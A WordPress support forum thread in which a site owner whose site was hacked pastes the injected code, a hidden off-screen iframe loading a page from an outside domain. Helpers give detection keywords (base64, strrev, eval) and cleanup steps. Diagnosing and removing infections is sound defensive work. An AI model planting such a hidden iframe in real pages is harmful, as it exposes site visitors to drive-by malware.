My WordPress site got hacked.

  • ITworksLLC

    (@itworksllc)


    12 years, 9 months ago

    My WordPress site got hacked about 2 weeks ago. I was running an earlier version of WordPress 3.x. I’ve since upgraded to WordPress 3.2.1, but I’m still having trouble.

    Here’s the code that keeps showing up. I’m not sure how often, but twice today so far. Maybe every hour or two.

    <div style="position: absolute; left: -1999px; top: -2999px;"><iframe
src="http://qjijcmenx.co.tv/forum.php" width="3"
height="3"></iframe></div>

    I’ve installed the Antivirus plugin but I really don’t understand what I’m looking at. This is the first time I’ve had a site get hacked and I’m glad it’s mine, but I’m running a ton of advertising and marketing campaigns and depending on the day / time somebody clicks on my site Google pops up saying “hey we don’t think this site is safe…blah blah blah”. It’s definitely nerve-wracking, borderline depressing.

    If I reinstall WordPress by clicking the REINSTALL button under Dashboard the problem is fixed, but then it gets hacked again. I’ve changed my Admin password, removed access to all other users, changed CPanel password, FTP was never setup, and I last installed Antivirus.

    Most recently, I’ve switched back to an older template/theme. I’m now trying to figure out if the new theme I installed a month or so ago is my problem.

    I hope I didn’t overwhelm you guys with information, but I’m trying to tell you everything I know. Any suggestions / assistance you guys can provide would be stellar.

Viewing 8 replies - 1 through 8 (of 8 total)
  • Moderator Ipstenu (Mika Epstein)

    (@ipstenu)

    🏳️‍🌈 Advisor and Activist

    12 years, 9 months ago

    Read this: http://codex.wordpress.org/FAQ_My_site_was_hacked

    There’s more that you need to do. Like changing passwords, checking site permissions, and deleting plugins.

    Thread Starter ITworksLLC

    (@itworksllc)

    12 years, 9 months ago

    Ok, I know you said there’s other things that I need to do but I switched to an old theme last night and the problem didn’t come back. What I found even more odd is that the older templates have LINE 1 filled in with code, where as my new template has LINE 1 blank…

    I really like my template and don’t want to get rid of it. If the template has the infection is it possible to just clean it up?

    smartobject2

    (@smartobject2)

    12 years, 9 months ago

    You can use a text search tool to search the files in the theme directory for hidden/obfucsated php code. Like Windows search or Unix grep.

    Or, you can try a plugin like Theme Authentity Checker (search on base64?) I use a mofified form of this plugin to look for these:
    “base64”, “strrev”, “htmlspecialchars”, “eval”

    Sometimes you can’t just rip out the base64 stuff, because it _may_ have important HTML code and break your theme.

    So cut/paste any base64 stuff discovered into any of the online base64 decoders to see what its doing.

    Also- if you catch a “strrev” you must reverse the string referenced to read it.

    Then be sure to follow on @Ipstnenu ‘s advice and do all the other important stuff.
    Cheers.

    Thread Starter ITworksLLC

    (@itworksllc)

    12 years, 9 months ago

    I don’t have shell access. If I downloaded all of the files would that work?

    Thread Starter ITworksLLC

    (@itworksllc)

    12 years, 9 months ago

    also, why do you use a modified version @smartobject2? is this a version i can obtain?

    esmi

    (@esmi)

    12 years, 9 months ago

    More resources:
    http://wordpress.org/support/topic/268083#post-1065779
    http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/
    http://ottopress.com/2009/hacked-wordpress-backdoors/

    smartobject2

    (@smartobject2)

    12 years, 9 months ago

    Sure you can use FileZilla or any FTP to pull the files onto your computer. The only change I made to the plugin was to add strrev and htmlspecial to the search terms. I don’t know why I put the html thing in there – may not be helpful.

    John H

    (@wpbloghost)

    12 years, 9 months ago

    If it appears to be in your theme then why not try doing this…

    1. Note all the plugins you use.
    2. Save any custom work you’ve done to your theme (which widgets you are using, code inside text widgets, menu customization, etc.)
    3. Don’t forget to note your Akismet Api
    4. Download a backup of your database
    5. Put your site in maintenance mode
    6. Create a new directory on your hosting (like /blogbackup) and move all your blog’s files over there (just as an extra back up)
    7. So now your blog’s directory should be empty
    8. Install a new version of WordPress in your normal blog’s directory
    9. Copy over your wp-config.php file from the /blogbackup directory and change the SALT values
    10. Download a new version/copy of your Theme, install it, set your Widgets back up
    11. Download fresh versions of your plugins and edit their settings to the way you like them
    12. Paste in your Akismet API key
    13. See if your site appears to be normal again
    14. Take your site out of maintenance mode
    15. Learn how to secure WordPress a little better
    16. Never use unsecured FTP

    Install the WordPress Firewall 2 plugin
    Install the WordPress File Monitor plugin

    Good luck 🙂

Viewing 8 replies - 1 through 8 (of 8 total)
  • The topic ‘My WordPress site got hacked.’ is closed to new replies.